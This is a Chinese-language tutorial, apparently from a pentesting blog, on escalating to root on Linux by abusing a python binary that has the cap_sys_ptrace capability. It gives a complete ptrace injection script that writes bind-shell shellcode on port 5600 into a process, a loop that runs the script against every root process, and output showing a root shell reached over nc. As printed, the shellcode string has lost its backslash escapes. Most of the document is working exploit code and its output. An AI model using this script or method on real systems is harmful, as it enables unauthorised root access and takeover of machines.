python Capabilities cap_sys_ptrace+ep提权

当python具备cap_sys_ptrace+ep  能力时，可以用来进行提权。提权原理见：https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc

1、查看python是否具备该能力

getcap -r / 2>/dev/null |grep python

显示：/usr/bin/python2.7 = cap_sys_ptrace+ep

2、准备提权脚本，该脚本如果执行成功，会在本地监听5600端口，也可以修改shellcode部分监听其他端口，脚本来自：https://gist.githubusercontent.com/wifisecguy/1d69839fe855c36a1dbecca66948ad56/raw/e919439010bbabed769d86303ff18ffbacdaecfd/inject.py

# inject.py
# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 

import ctypes
import sys
import struct

# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html

PTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17

# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct

class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))

print("Instruction Pointer: " + hex(registers.rip))

print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db.
shellcode="x48x31xc0x48x31xd2x48x31xf6xffxc6x6ax29x58x6ax02x5fx0fx05x48x97x6ax02x66xc7x44x24x02x15xe0x54x5ex52x6ax31x58x6ax10x5ax0fx05x5ex6ax32x58x0fx05x6ax2bx58x0fx05x48x97x6ax03x5exffxcexb0x21x0fx05x75xf8xf7xe6x52x48xbbx2fx62x69x6ex2fx2fx73x68x53x48x8dx3cx24xb0x3bx0fx05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
 
  # Convert the byte to little endian.
  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('x00').encode('hex')
  shellcode_byte=int(shellcode_byte_little_endian,16)
 
  # Inject the byte.
  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))

print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

3、因为需要找root进程进行注入，所以简单写个脚本对root进程进行批量尝试

for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done

4、本地执行成功后，通过netstat可以看到开启监听了5600端口，通过nc连接后即可执行命令

test@test:~$ netstat -tunpla |grep 5600
netstat -tunpla |grep 5600
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:5600            0.0.0.0:*               LISTEN      -                   
test@test:~$ nc 0.0.0.0 5600
nc 0.0.0.0 5600
id
id
uid=0(root) gid=0(root) groups=0(root)